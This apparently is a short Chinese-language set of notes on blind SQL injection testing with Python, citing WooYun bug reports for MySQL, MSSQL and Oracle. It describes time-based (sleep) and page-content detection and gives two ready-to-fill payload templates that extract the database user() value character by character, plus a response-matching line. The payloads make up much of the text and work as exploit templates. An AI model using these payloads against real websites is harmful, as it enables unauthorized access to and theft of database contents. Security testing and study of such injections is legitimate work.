python检测SQL注入的相关代码（参考lijiejie）

mysql:

post注入相关http://www.wooyun.org/bugs/wooyun-2010-082219

mssql：

http://www.wooyun.org/bugs/wooyun-2010-081815

oracle：

http://www.wooyun.org/bugs/wooyun-2010-082564

关于不同的返回来判定的方式：

1：根据sleep()来看是否timeout

2：根据页面返回值匹配正则表达式

eg: http://www.wooyun.org/bugs/wooyun-2010-083715

if html_doc.find(u"_zpq.push(['_setParams','','xa','城北','','']);") > 0:

常用的payload方式：

String类型：

111'XOR(if(ascii(mid(lower(user()),%s,1))=%s,sleep(3),0))OR'bbb

url = "/community/W0QQp1Z3724' AND ascii(mid(user()from(%s)for(1)))=%s AND 'aaa'='aaa" % (i, ord(payload))